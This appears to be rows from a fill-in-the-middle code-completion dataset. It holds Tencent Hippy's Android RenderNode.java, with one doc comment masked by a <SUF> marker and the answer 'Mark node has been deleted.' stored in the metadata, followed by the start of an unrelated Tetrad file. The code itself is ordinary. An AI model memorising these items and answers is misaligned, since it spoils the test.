}
}
public boolean removeChild(@Nullable RenderNode node) {
if (node != null) {
node.mParent = null;
if (mDrawingOrder != null) {
mDrawingOrder.remove(node);
}
return mChildren.remove(node);
}
return false;
}
public void addChild(@NonNull RenderNode node) {
addChild(node, mChildren.size());
}
public void addChild(@NonNull RenderNode node, int index) {
index = (index < 0) ? 0 : Math.min(index, mChildren.size());
mChildren.add(index, node);
node.mParent = this;
// If has set z index in the child nodes, the rendering order needs to be rearranged
// after adding nodes
if (mDrawingOrder != null) {
setNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
}
}
public void setLazy(boolean isLazy) {
if (isLazy) {
setNodeFlag(FLAG_LAZY_LOAD);
} else {
resetNodeFlag(FLAG_LAZY_LOAD);
}
for (int i = 0; i < getChildCount(); i++) {
RenderNode child = getChildAt(i);
if (child != null) {
child.setLazy(isLazy);
}
}
}
public void addDeleteChild(@NonNull RenderNode node) {
if (node.hasView()) {
if (mDeletedChildren == null) {
mDeletedChildren = new SparseIntArray();
}
int index = mChildren.indexOf(node);
if (index >= 0) {
mDeletedChildren.put(node.getId(), mChildren.indexOf(node));
}
}
}
@Nullable
public RenderNode getChildAt(int index) {
try {
return mChildren.get(index);
} catch (IndexOutOfBoundsException e) {
e.printStackTrace();
return null;
}
}
public int getChildCount() {
return mChildren.size();
}
public void deleteSubviewIfNeeded() {
if (mClassName.equals(NodeProps.ROOT_NODE) && checkNodeFlag(FLAG_ALREADY_DELETED)) {
mControllerManager.deleteRootView(mId);
return;
}
if (mDeletedChildren == null) {
return;
}
for (int i = 0; i < mDeletedChildren.size(); i++) {
mControllerManager
.deleteChild(mRootId, mId, mDeletedChildren.keyAt(i), false);
}
mDeletedChildren.clear();
}
public void setHostView(@Nullable View view) {
if (view == null) {
mHostViewRef = null;
} else {
View current = getHostView();
if (current != view) {
mHostViewRef = new WeakReference<>(view);
}
}
}
@Nullable
public View getHostView() {
return (mHostViewRef != null) ? mHostViewRef.get() : null;
}
public void onHostViewAttachedToWindow() {
LogUtils.d(TAG, "onHostViewAttachedToWindow: id " + mId + ", class name " + mClassName);
for (int i = 0; i < getChildCount(); i++) {
RenderNode child = getChildAt(i);
if (child != null && child.getHostView() == null) {
Component component = child.getComponent();
if (component != null) {
component.onHostViewAttachedToWindow();
}
}
}
if (mComponent != null) {
mComponent.onHostViewAttachedToWindow();
}
}
public void onHostViewRemoved() {
for (int i = 0; i < getChildCount(); i++) {
RenderNode child = getChildAt(i);
if (child != null && child.getHostView() == null) {
child.onHostViewRemoved();
}
}
setHostView(null);
if (mComponent != null) {
mComponent.onHostViewRemoved();
}
}
protected void checkHostViewReused() throws NativeRenderException {
View view = getHostView();
if (view == null) {
return;
}
final int oldId = view.getId();
if (oldId == mId) {
return;
}
mControllerManager.replaceId(mRootId, view, mId, false);
RenderNode fromNode = RenderManager.getRenderNode(mRootId, oldId);
if (fromNode == null || fromNode.isDeleted()) {
throw new NativeRenderException(REUSE_VIEW_HAS_ABANDONED_NODE_ERR,
"Reuse view has invalid node id=" + oldId);
}
Map<String, Object> diffProps = checkPropsShouldReset(fromNode);
mControllerManager.updateProps(this, null, null, diffProps, true);
}
@Nullable
public View prepareHostView(boolean skipComponentProps, PoolType poolType) {
if (isLazyLoad()) {
return null;
}
mPoolInUse = poolType;
createView(false);
updateProps(skipComponentProps);
if (poolType == PoolType.RECYCLE_VIEW) {
try {
checkHostViewReused();
} catch (NativeRenderException e) {
mControllerManager.getNativeRender().handleRenderException(e);
}
}
mPoolInUse = PoolType.NONE;
return getHostView();
}
@Nullable
public View createView(boolean createNow) {
deleteSubviewIfNeeded();
if (shouldCreateView() && !TextUtils.equals(NodeProps.ROOT_NODE, mClassName)
&& mParent != null) {
if (mPropsToUpdate == null) {
mPropsToUpdate = getProps();
}
// Do not need to create a view if both self and parent node support flattening
// and no child nodes.
// TODO: Resolve the issue of flattened view node add child
// Add child nodes to flattened view nodes, in some scenes may have issues with the
// page not being able to refresh. Therefore, temporarily turn off flattening the
// regular view node.
if (createNow || !mControllerManager.checkFlatten(mClassName)
|| !mParent.getClassName().equals(HippyViewGroupController.CLASS_NAME)
|| getChildCount() > 0 || checkGestureEnable()) {
mParent.addChildToPendingList(this);
View view = mControllerManager.createView(this, mPoolInUse);
setHostView(view);
return view;
}
}
return null;
}
@Nullable
public View prepareHostViewRecursive() {
boolean skipComponentProps = checkNodeFlag(FLAG_ALREADY_UPDATED);
mPropsToUpdate = getProps();
setNodeFlag(FLAG_UPDATE_LAYOUT | FLAG_UPDATE_EVENT);
View view = prepareHostView(skipComponentProps, PoolType.RECYCLE_VIEW);
for (RenderNode renderNode : mChildren) {
renderNode.prepareHostViewRecursive();
}
return view;
}
public void mountHostViewRecursive() {
mountHostView();
for (RenderNode renderNode : mChildren) {
renderNode.mountHostViewRecursive();
}
}
public boolean shouldSticky() {
return false;
}
@Nullable
protected Map<String, Object> checkPropsShouldReset(@NonNull RenderNode fromNode) {
Map<String, Object> total = null;
Map<String, Object> resetProps = DiffUtils.findResetProps(fromNode.getProps(), mProps);
Map<String, Object> resetEvents = DiffUtils.findResetProps(fromNode.getEvents(), mEvents);
try {
if (resetProps != null) {
total = new HashMap<>(resetProps);
}
if (resetEvents != null) {
if (total == null) {
total = new HashMap<>(resetEvents);
} else {
total.putAll(resetEvents);
}
}
} catch (Exception e) {
LogUtils.w(TAG, "checkNonExistentProps: " + e.getMessage());
}
return total;
}
public void updateProps(boolean skipComponentProps) {
Map<String, Object> events = null;
if (mEvents != null && checkNodeFlag(FLAG_UPDATE_EVENT)) {
events = mEvents;
resetNodeFlag(FLAG_UPDATE_EVENT);
}
mControllerManager.updateProps(this, mPropsToUpdate, events, null, skipComponentProps);
mPropsToUpdate = null;
resetNodeFlag(FLAG_UPDATE_TOTAL_PROPS);
}
private boolean shouldCreateView() {
return !isDeleted() && !isLazyLoad() && !hasView();
}
private boolean hasView() {
return mControllerManager.hasView(mRootId, mId);
}
protected void addChildToPendingList(RenderNode child) {
if (!mChildrenUnattached.contains(child)) {
mChildrenUnattached.add(child);
}
}
public boolean checkNodeFlag(int flag) {
return (mNodeFlags & flag) == flag;
}
public void resetNodeFlag(int flag) {
mNodeFlags &= ~flag;
}
public void setNodeFlag(int flag) {
mNodeFlags |= flag;
}
public void mountHostView() {
// Before mounting child views, if there is a change in the Z index of the child nodes,
// it is necessary to reorder the child nodes to ensure the correct mounting order.
updateDrawingOrderIfNeeded();
if (!mChildrenUnattached.isEmpty()) {
Collections.sort(mChildrenUnattached, new Comparator<RenderNode>() {
@Override
public int compare(RenderNode n1, RenderNode n2) {
return n1.getZIndex() - n2.getZIndex();
}
});
for (int i = 0; i < mChildrenUnattached.size(); i++) {
RenderNode node = mChildrenUnattached.get(i);
mControllerManager.addChild(mRootId, mId, node);
node.setNodeFlag(FLAG_HAS_ATTACHED);
}
mChildrenUnattached.clear();
}
if (mMoveNodes != null && !mMoveNodes.isEmpty()) {
Collections.sort(mMoveNodes, new Comparator<RenderNode>() {
@Override
public int compare(RenderNode o1, RenderNode o2) {
return o1.indexFromParent() < o2.indexFromParent() ? -1 : 0;
}
});
for (RenderNode moveNode : mMoveNodes) {
mControllerManager.moveView(mRootId, moveNode.getId(), mId,
getChildDrawingOrder(moveNode));
}
mMoveNodes.clear();
}
if (checkNodeFlag(FLAG_UPDATE_LAYOUT) && !TextUtils
.equals(NodeProps.ROOT_NODE, mClassName)) {
mControllerManager.updateLayout(mClassName, mRootId, mId, mX, mY, mWidth, mHeight);
resetNodeFlag(FLAG_UPDATE_LAYOUT);
}
if (checkNodeFlag(FLAG_UPDATE_EXTRA)) {
mControllerManager.updateExtra(mRootId, mId, mClassName, mExtra);
resetNodeFlag(FLAG_UPDATE_EXTRA);
}
}
public static void resetProps(@NonNull Map<String, Object> props,
@Nullable Map<String, Object> diffProps,
@Nullable List<Object> delProps) {
try {
if (diffProps != null) {
props.putAll(diffProps);
}
if (delProps != null) {
for (Object key : delProps) {
props.remove(key.toString());
}
}
} catch (Exception e) {
LogUtils.e(TAG, "updateProps error:" + e.getMessage());
}
}
public void checkPropsToUpdate(@Nullable Map<String, Object> diffProps,
@Nullable List<Object> delProps) {
if (mProps == null) {
mProps = new HashMap<>();
}
resetProps(mProps, diffProps, delProps);
if (!checkNodeFlag(FLAG_UPDATE_TOTAL_PROPS)) {
if (mPropsToUpdate == null) {
mPropsToUpdate = diffProps;
} else {
if (diffProps != null) {
mPropsToUpdate.putAll(diffProps);
}
}
if (delProps != null) {
if (mPropsToUpdate == null) {
mPropsToUpdate = new HashMap<>();
}
for (Object key : delProps) {
mPropsToUpdate.put(key.toString(), null);
}
}
} else {
mPropsToUpdate = mProps;
}
}
public void updateEventListener(@NonNull Map<String, Object> newEvents) {
mEvents = newEvents;
setNodeFlag(FLAG_UPDATE_EVENT);
}
public void updateLayout(int x, int y, int w, int h) {
mX = x;
mY = y;
mWidth = w;
mHeight = h;
setNodeFlag(FLAG_UPDATE_LAYOUT);
}
public void addMoveNodes(@NonNull List<RenderNode> moveNodes) {
if (mMoveNodes == null) {
mMoveNodes = new ArrayList<>();
}
mMoveNodes.addAll(moveNodes);
setNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
}
public void updateExtra(@Nullable Object object) {
Component component = ensureComponentIfNeeded(ComponentController.class);
if (component != null && object != null) {
component.setTextLayout(object);
setNodeFlag(FLAG_UPDATE_EXTRA);
}
}
public boolean isDeleted() {
return checkNodeFlag(FLAG_ALREADY_DELETED);
}
public boolean isLazyLoad() {
return checkNodeFlag(FLAG_LAZY_LOAD);
}
public boolean checkRegisteredEvent(@NonNull String eventName) {
if (mEvents != null && mEvents.containsKey(eventName)) {
Object value = mEvents.get(eventName);
if (value instanceof Boolean) {
return (boolean) value;
}
}
return false;
}
public void onDeleted() {
if (mComponent != null) {
mComponent.clear();
}
}
public void requireUpdateDrawingOrder(@NonNull RenderNode child) {
setNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
addChildToPendingList(child);
}
public void onZIndexChanged() {
if (mParent != null) {
View hostView = getHostView();
if (hostView != null) {
ViewParent parent = hostView.getParent();
if (parent != null) {
((ViewGroup) parent).removeView(hostView);
}
}
mParent.requireUpdateDrawingOrder(this);
}
}
public void updateDrawingOrderIfNeeded() {
if (checkNodeFlag(FLAG_UPDATE_DRAWING_ORDER)) {
mDrawingOrder = (ArrayList<RenderNode>) mChildren.clone();
Collections.sort(mDrawingOrder, new Comparator<RenderNode>() {
@Override
public int compare(RenderNode n1, RenderNode n2) {
return n1.getZIndex() - n2.getZIndex();
}
});
resetNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
}
}
public void batchStart() {
if (!isDeleted() && !isLazyLoad()) {
mControllerManager.onBatchStart(mRootId, mId, mClassName);
}
}
public void batchComplete() {
if (!isDeleted() && !isLazyLoad()) {
mControllerManager.onBatchComplete(mRootId, mId, mClassName);
if (mHostViewRef == null || mHostViewRef.get() == null) {
invalidate();
}
}
}
@Nullable
private View findNearestHostView() {
View view = mControllerManager.findView(mRootId, mId);
if (view == null && mParent != null) {
view = mControllerManager.findView(mParent.getRootId(), mParent.getId());
}
return view;
}
public void postInvalidateDelayed(long delayMilliseconds) {
View view = findNearestHostView();
if (view != null) {
view.postInvalidateDelayed(delayMilliseconds);
}
}
public void invalidate() {
View view = findNearestHostView();
if (view != null) {
view.invalidate();
}
}
public boolean checkGestureEnable() {
return mComponent != null && mComponent.getGestureEnable();
}
}
| 5l1v3r1/Hippy | renderer/native/android/src/main/java/com/tencent/renderer/node/RenderNode.java | 6,750 | /**
* Mark node has been deleted.
*/ | block_comment | nl | /* Tencent is pleased to support the open source community by making Hippy available.
* Copyright (C) 2018 THL A29 Limited, a Tencent company. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.tencent.renderer.node;
import static com.tencent.renderer.NativeRenderException.ExceptionCode.REUSE_VIEW_HAS_ABANDONED_NODE_ERR;
import android.text.TextUtils;
import android.util.SparseIntArray;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewParent;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import com.openhippy.pool.BasePool.PoolType;
import com.tencent.mtt.hippy.dom.node.NodeProps;
import com.tencent.mtt.hippy.uimanager.ControllerManager;
import com.tencent.mtt.hippy.uimanager.RenderManager;
import com.tencent.mtt.hippy.utils.LogUtils;
import com.tencent.mtt.hippy.views.view.HippyViewGroupController;
import com.tencent.renderer.NativeRender;
import com.tencent.renderer.NativeRenderException;
import com.tencent.renderer.component.Component;
import com.tencent.renderer.component.ComponentController;
import com.tencent.renderer.component.image.ImageComponent;
import com.tencent.renderer.component.image.ImageComponentController;
import com.tencent.renderer.utils.DiffUtils;
import java.lang.ref.WeakReference;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class RenderNode {
private static final String TAG = "RenderNode";
/**
* Mark the layout information of the node to be updated.
*/
public static final int FLAG_UPDATE_LAYOUT = 0x00000001;
/**
* Mark has new extra props of the text node, such as {@link android.text.Layout}
*/
public static final int FLAG_UPDATE_EXTRA = 0x00000002;
/**
* Mark there are new events registered of the node.
*/
public static final int FLAG_UPDATE_EVENT = 0x00000004;
/**
* Mark node need to update node attributes.
*/
public static final int FLAG_UPDATE_TOTAL_PROPS = 0x00000008;
/**
* Mark node has<SUF>*/
public static final int FLAG_ALREADY_DELETED = 0x00000010;
/**
* Mark node attributes has been updated.
*/
public static final int FLAG_ALREADY_UPDATED = 0x00000020;
/**
* Mark node lazy create host view, such as recycle view item sub views.
*/
public static final int FLAG_LAZY_LOAD = 0x00000040;
/**
* Mark node has attach to host view.
*/
public static final int FLAG_HAS_ATTACHED = 0x00000080;
/**
* Mark should update children drawing order.
*/
public static final int FLAG_UPDATE_DRAWING_ORDER = 0x00000100;
private int mNodeFlags = 0;
private PoolType mPoolInUse = PoolType.NONE;
protected int mX;
protected int mY;
protected int mWidth;
protected int mHeight;
protected final int mId;
protected final int mRootId;
protected final String mClassName;
protected final ArrayList<RenderNode> mChildren = new ArrayList<>();
protected final ArrayList<RenderNode> mChildrenUnattached = new ArrayList<>();
protected final ControllerManager mControllerManager;
@Nullable
protected ArrayList<RenderNode> mDrawingOrder;
@Nullable
protected Map<String, Object> mProps;
@Nullable
protected Map<String, Object> mPropsToUpdate;
@Nullable
protected Map<String, Object> mEvents;
@Nullable
protected RenderNode mParent;
@Nullable
protected Object mExtra;
@Nullable
protected List<RenderNode> mMoveNodes;
@Nullable
protected SparseIntArray mDeletedChildren;
@Nullable
protected Component mComponent;
@Nullable
protected WeakReference<View> mHostViewRef;
public RenderNode(int rootId, int id, @NonNull String className,
@NonNull ControllerManager controllerManager) {
mId = id;
mRootId = rootId;
mClassName = className;
mControllerManager = controllerManager;
}
public RenderNode(int rootId, int id, @Nullable Map<String, Object> props,
@NonNull String className, @NonNull ControllerManager controllerManager,
boolean isLazyLoad) {
mId = id;
mClassName = className;
mRootId = rootId;
mControllerManager = controllerManager;
mProps = props;
mPropsToUpdate = null;
if (isLazyLoad) {
setNodeFlag(FLAG_LAZY_LOAD);
}
}
public int getRootId() {
return mRootId;
}
public int getId() {
return mId;
}
public int getZIndex() {
return mComponent != null ? mComponent.getZIndex() : 0;
}
@NonNull
public ArrayList<RenderNode> getDrawingOrder() {
return mDrawingOrder == null ? mChildren : mDrawingOrder;
}
@Nullable
public Component getComponent() {
return mComponent;
}
@NonNull
public NativeRender getNativeRender() {
return mControllerManager.getNativeRender();
}
@Nullable
public Component ensureComponentIfNeeded(Class<?> cls) {
if (cls == ComponentController.class) {
if (mComponent == null) {
mComponent = new Component(this);
}
} else if (cls == ImageComponentController.class) {
if (mComponent == null) {
mComponent = new ImageComponent(this);
} else if (!(mComponent instanceof ImageComponent)) {
mComponent = new ImageComponent(this, mComponent);
}
}
return mComponent;
}
@Nullable
public RenderNode getParent() {
return mParent;
}
@Nullable
public Object getExtra() {
return mExtra;
}
@Nullable
public Map<String, Object> getProps() {
return mProps;
}
@Nullable
public Map<String, Object> getEvents() {
return mEvents;
}
@NonNull
public String getClassName() {
return mClassName;
}
public int getX() {
return mX;
}
public int getY() {
return mY;
}
public int getWidth() {
return mWidth;
}
public int getHeight() {
return mHeight;
}
public int getChildDrawingOrder(@NonNull RenderNode child) {
return (mDrawingOrder != null) ? mDrawingOrder.indexOf(child) : mChildren.indexOf(child);
}
public int indexFromParent() {
return (mParent != null) ? mParent.mChildren.indexOf(this) : 0;
}
public int indexOfDrawingOrder() {
return (mParent != null) ? mParent.getChildDrawingOrder(this) : 0;
}
protected boolean isRoot() {
return false;
}
public void removeChild(int index) {
try {
removeChild(mChildren.get(index));
} catch (IndexOutOfBoundsException e) {
e.printStackTrace();
}
}
public void resetChildIndex(RenderNode child, int index) {
if (mChildren.contains(child)) {
removeChild(child);
addChild(child, index);
}
}
public boolean removeChild(@Nullable RenderNode node) {
if (node != null) {
node.mParent = null;
if (mDrawingOrder != null) {
mDrawingOrder.remove(node);
}
return mChildren.remove(node);
}
return false;
}
public void addChild(@NonNull RenderNode node) {
addChild(node, mChildren.size());
}
public void addChild(@NonNull RenderNode node, int index) {
index = (index < 0) ? 0 : Math.min(index, mChildren.size());
mChildren.add(index, node);
node.mParent = this;
// If has set z index in the child nodes, the rendering order needs to be rearranged
// after adding nodes
if (mDrawingOrder != null) {
setNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
}
}
public void setLazy(boolean isLazy) {
if (isLazy) {
setNodeFlag(FLAG_LAZY_LOAD);
} else {
resetNodeFlag(FLAG_LAZY_LOAD);
}
for (int i = 0; i < getChildCount(); i++) {
RenderNode child = getChildAt(i);
if (child != null) {
child.setLazy(isLazy);
}
}
}
public void addDeleteChild(@NonNull RenderNode node) {
if (node.hasView()) {
if (mDeletedChildren == null) {
mDeletedChildren = new SparseIntArray();
}
int index = mChildren.indexOf(node);
if (index >= 0) {
mDeletedChildren.put(node.getId(), mChildren.indexOf(node));
}
}
}
@Nullable
public RenderNode getChildAt(int index) {
try {
return mChildren.get(index);
} catch (IndexOutOfBoundsException e) {
e.printStackTrace();
return null;
}
}
public int getChildCount() {
return mChildren.size();
}
public void deleteSubviewIfNeeded() {
if (mClassName.equals(NodeProps.ROOT_NODE) && checkNodeFlag(FLAG_ALREADY_DELETED)) {
mControllerManager.deleteRootView(mId);
return;
}
if (mDeletedChildren == null) {
return;
}
for (int i = 0; i < mDeletedChildren.size(); i++) {
mControllerManager
.deleteChild(mRootId, mId, mDeletedChildren.keyAt(i), false);
}
mDeletedChildren.clear();
}
public void setHostView(@Nullable View view) {
if (view == null) {
mHostViewRef = null;
} else {
View current = getHostView();
if (current != view) {
mHostViewRef = new WeakReference<>(view);
}
}
}
@Nullable
public View getHostView() {
return (mHostViewRef != null) ? mHostViewRef.get() : null;
}
public void onHostViewAttachedToWindow() {
LogUtils.d(TAG, "onHostViewAttachedToWindow: id " + mId + ", class name " + mClassName);
for (int i = 0; i < getChildCount(); i++) {
RenderNode child = getChildAt(i);
if (child != null && child.getHostView() == null) {
Component component = child.getComponent();
if (component != null) {
component.onHostViewAttachedToWindow();
}
}
}
if (mComponent != null) {
mComponent.onHostViewAttachedToWindow();
}
}
public void onHostViewRemoved() {
for (int i = 0; i < getChildCount(); i++) {
RenderNode child = getChildAt(i);
if (child != null && child.getHostView() == null) {
child.onHostViewRemoved();
}
}
setHostView(null);
if (mComponent != null) {
mComponent.onHostViewRemoved();
}
}
protected void checkHostViewReused() throws NativeRenderException {
View view = getHostView();
if (view == null) {
return;
}
final int oldId = view.getId();
if (oldId == mId) {
return;
}
mControllerManager.replaceId(mRootId, view, mId, false);
RenderNode fromNode = RenderManager.getRenderNode(mRootId, oldId);
if (fromNode == null || fromNode.isDeleted()) {
throw new NativeRenderException(REUSE_VIEW_HAS_ABANDONED_NODE_ERR,
"Reuse view has invalid node id=" + oldId);
}
Map<String, Object> diffProps = checkPropsShouldReset(fromNode);
mControllerManager.updateProps(this, null, null, diffProps, true);
}
@Nullable
public View prepareHostView(boolean skipComponentProps, PoolType poolType) {
if (isLazyLoad()) {
return null;
}
mPoolInUse = poolType;
createView(false);
updateProps(skipComponentProps);
if (poolType == PoolType.RECYCLE_VIEW) {
try {
checkHostViewReused();
} catch (NativeRenderException e) {
mControllerManager.getNativeRender().handleRenderException(e);
}
}
mPoolInUse = PoolType.NONE;
return getHostView();
}
@Nullable
public View createView(boolean createNow) {
deleteSubviewIfNeeded();
if (shouldCreateView() && !TextUtils.equals(NodeProps.ROOT_NODE, mClassName)
&& mParent != null) {
if (mPropsToUpdate == null) {
mPropsToUpdate = getProps();
}
// Do not need to create a view if both self and parent node support flattening
// and no child nodes.
// TODO: Resolve the issue of flattened view node add child
// Add child nodes to flattened view nodes, in some scenes may have issues with the
// page not being able to refresh. Therefore, temporarily turn off flattening the
// regular view node.
if (createNow || !mControllerManager.checkFlatten(mClassName)
|| !mParent.getClassName().equals(HippyViewGroupController.CLASS_NAME)
|| getChildCount() > 0 || checkGestureEnable()) {
mParent.addChildToPendingList(this);
View view = mControllerManager.createView(this, mPoolInUse);
setHostView(view);
return view;
}
}
return null;
}
@Nullable
public View prepareHostViewRecursive() {
boolean skipComponentProps = checkNodeFlag(FLAG_ALREADY_UPDATED);
mPropsToUpdate = getProps();
setNodeFlag(FLAG_UPDATE_LAYOUT | FLAG_UPDATE_EVENT);
View view = prepareHostView(skipComponentProps, PoolType.RECYCLE_VIEW);
for (RenderNode renderNode : mChildren) {
renderNode.prepareHostViewRecursive();
}
return view;
}
public void mountHostViewRecursive() {
mountHostView();
for (RenderNode renderNode : mChildren) {
renderNode.mountHostViewRecursive();
}
}
public boolean shouldSticky() {
return false;
}
@Nullable
protected Map<String, Object> checkPropsShouldReset(@NonNull RenderNode fromNode) {
Map<String, Object> total = null;
Map<String, Object> resetProps = DiffUtils.findResetProps(fromNode.getProps(), mProps);
Map<String, Object> resetEvents = DiffUtils.findResetProps(fromNode.getEvents(), mEvents);
try {
if (resetProps != null) {
total = new HashMap<>(resetProps);
}
if (resetEvents != null) {
if (total == null) {
total = new HashMap<>(resetEvents);
} else {
total.putAll(resetEvents);
}
}
} catch (Exception e) {
LogUtils.w(TAG, "checkNonExistentProps: " + e.getMessage());
}
return total;
}
public void updateProps(boolean skipComponentProps) {
Map<String, Object> events = null;
if (mEvents != null && checkNodeFlag(FLAG_UPDATE_EVENT)) {
events = mEvents;
resetNodeFlag(FLAG_UPDATE_EVENT);
}
mControllerManager.updateProps(this, mPropsToUpdate, events, null, skipComponentProps);
mPropsToUpdate = null;
resetNodeFlag(FLAG_UPDATE_TOTAL_PROPS);
}
private boolean shouldCreateView() {
return !isDeleted() && !isLazyLoad() && !hasView();
}
private boolean hasView() {
return mControllerManager.hasView(mRootId, mId);
}
protected void addChildToPendingList(RenderNode child) {
if (!mChildrenUnattached.contains(child)) {
mChildrenUnattached.add(child);
}
}
public boolean checkNodeFlag(int flag) {
return (mNodeFlags & flag) == flag;
}
public void resetNodeFlag(int flag) {
mNodeFlags &= ~flag;
}
public void setNodeFlag(int flag) {
mNodeFlags |= flag;
}
public void mountHostView() {
// Before mounting child views, if there is a change in the Z index of the child nodes,
// it is necessary to reorder the child nodes to ensure the correct mounting order.
updateDrawingOrderIfNeeded();
if (!mChildrenUnattached.isEmpty()) {
Collections.sort(mChildrenUnattached, new Comparator<RenderNode>() {
@Override
public int compare(RenderNode n1, RenderNode n2) {
return n1.getZIndex() - n2.getZIndex();
}
});
for (int i = 0; i < mChildrenUnattached.size(); i++) {
RenderNode node = mChildrenUnattached.get(i);
mControllerManager.addChild(mRootId, mId, node);
node.setNodeFlag(FLAG_HAS_ATTACHED);
}
mChildrenUnattached.clear();
}
if (mMoveNodes != null && !mMoveNodes.isEmpty()) {
Collections.sort(mMoveNodes, new Comparator<RenderNode>() {
@Override
public int compare(RenderNode o1, RenderNode o2) {
return o1.indexFromParent() < o2.indexFromParent() ? -1 : 0;
}
});
for (RenderNode moveNode : mMoveNodes) {
mControllerManager.moveView(mRootId, moveNode.getId(), mId,
getChildDrawingOrder(moveNode));
}
mMoveNodes.clear();
}
if (checkNodeFlag(FLAG_UPDATE_LAYOUT) && !TextUtils
.equals(NodeProps.ROOT_NODE, mClassName)) {
mControllerManager.updateLayout(mClassName, mRootId, mId, mX, mY, mWidth, mHeight);
resetNodeFlag(FLAG_UPDATE_LAYOUT);
}
if (checkNodeFlag(FLAG_UPDATE_EXTRA)) {
mControllerManager.updateExtra(mRootId, mId, mClassName, mExtra);
resetNodeFlag(FLAG_UPDATE_EXTRA);
}
}
public static void resetProps(@NonNull Map<String, Object> props,
@Nullable Map<String, Object> diffProps,
@Nullable List<Object> delProps) {
try {
if (diffProps != null) {
props.putAll(diffProps);
}
if (delProps != null) {
for (Object key : delProps) {
props.remove(key.toString());
}
}
} catch (Exception e) {
LogUtils.e(TAG, "updateProps error:" + e.getMessage());
}
}
public void checkPropsToUpdate(@Nullable Map<String, Object> diffProps,
@Nullable List<Object> delProps) {
if (mProps == null) {
mProps = new HashMap<>();
}
resetProps(mProps, diffProps, delProps);
if (!checkNodeFlag(FLAG_UPDATE_TOTAL_PROPS)) {
if (mPropsToUpdate == null) {
mPropsToUpdate = diffProps;
} else {
if (diffProps != null) {
mPropsToUpdate.putAll(diffProps);
}
}
if (delProps != null) {
if (mPropsToUpdate == null) {
mPropsToUpdate = new HashMap<>();
}
for (Object key : delProps) {
mPropsToUpdate.put(key.toString(), null);
}
}
} else {
mPropsToUpdate = mProps;
}
}
public void updateEventListener(@NonNull Map<String, Object> newEvents) {
mEvents = newEvents;
setNodeFlag(FLAG_UPDATE_EVENT);
}
public void updateLayout(int x, int y, int w, int h) {
mX = x;
mY = y;
mWidth = w;
mHeight = h;
setNodeFlag(FLAG_UPDATE_LAYOUT);
}
public void addMoveNodes(@NonNull List<RenderNode> moveNodes) {
if (mMoveNodes == null) {
mMoveNodes = new ArrayList<>();
}
mMoveNodes.addAll(moveNodes);
setNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
}
public void updateExtra(@Nullable Object object) {
Component component = ensureComponentIfNeeded(ComponentController.class);
if (component != null && object != null) {
component.setTextLayout(object);
setNodeFlag(FLAG_UPDATE_EXTRA);
}
}
public boolean isDeleted() {
return checkNodeFlag(FLAG_ALREADY_DELETED);
}
public boolean isLazyLoad() {
return checkNodeFlag(FLAG_LAZY_LOAD);
}
public boolean checkRegisteredEvent(@NonNull String eventName) {
if (mEvents != null && mEvents.containsKey(eventName)) {
Object value = mEvents.get(eventName);
if (value instanceof Boolean) {
return (boolean) value;
}
}
return false;
}
public void onDeleted() {
if (mComponent != null) {
mComponent.clear();
}
}
public void requireUpdateDrawingOrder(@NonNull RenderNode child) {
setNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
addChildToPendingList(child);
}
public void onZIndexChanged() {
if (mParent != null) {
View hostView = getHostView();
if (hostView != null) {
ViewParent parent = hostView.getParent();
if (parent != null) {
((ViewGroup) parent).removeView(hostView);
}
}
mParent.requireUpdateDrawingOrder(this);
}
}
public void updateDrawingOrderIfNeeded() {
if (checkNodeFlag(FLAG_UPDATE_DRAWING_ORDER)) {
mDrawingOrder = (ArrayList<RenderNode>) mChildren.clone();
Collections.sort(mDrawingOrder, new Comparator<RenderNode>() {
@Override
public int compare(RenderNode n1, RenderNode n2) {
return n1.getZIndex() - n2.getZIndex();
}
});
resetNodeFlag(FLAG_UPDATE_DRAWING_ORDER);
}
}
public void batchStart() {
if (!isDeleted() && !isLazyLoad()) {
mControllerManager.onBatchStart(mRootId, mId, mClassName);
}
}
public void batchComplete() {
if (!isDeleted() && !isLazyLoad()) {
mControllerManager.onBatchComplete(mRootId, mId, mClassName);
if (mHostViewRef == null || mHostViewRef.get() == null) {
invalidate();
}
}
}
@Nullable
private View findNearestHostView() {
View view = mControllerManager.findView(mRootId, mId);
if (view == null && mParent != null) {
view = mControllerManager.findView(mParent.getRootId(), mParent.getId());
}
return view;
}
public void postInvalidateDelayed(long delayMilliseconds) {
View view = findNearestHostView();
if (view != null) {
view.postInvalidateDelayed(delayMilliseconds);
}
}
public void invalidate() {
View view = findNearestHostView();
if (view != null) {
view.invalidate();
}
}
public boolean checkGestureEnable() {
return mComponent != null && mComponent.getGestureEnable();
}
}
|
81329_45 | ///////////////////////////////////////////////////////////////////////////////
// For information as to what this class does, see the Javadoc, below. //
// Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, //
// 2007, 2008, 2009, 2010, 2014, 2015 by Peter Spirtes, Richard Scheines, Joseph //
// Ramsey, and Clark Glymour. //
// //
// This program is free software; you can redistribute it and/or modify //
// it under the terms of the GNU General Public License as published by //
// the Free Software Foundation; either version 2 of the License, or //
// (at your option) any later version. //
// //
// This program is distributed in the hope that it will be useful, //
// but WITHOUT ANY WARRANTY; without even the implied warranty of //
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the //
// GNU General Public License for more details. //
// //
// You should have received a copy of the GNU General Public License //
// along with this program; if not, write to the Free Software //
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA //
///////////////////////////////////////////////////////////////////////////////
package edu.cmu.tetrad.data;
import edu.cmu.tetrad.graph.Node;
import edu.cmu.tetrad.util.NumberFormatUtil;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.Writer;
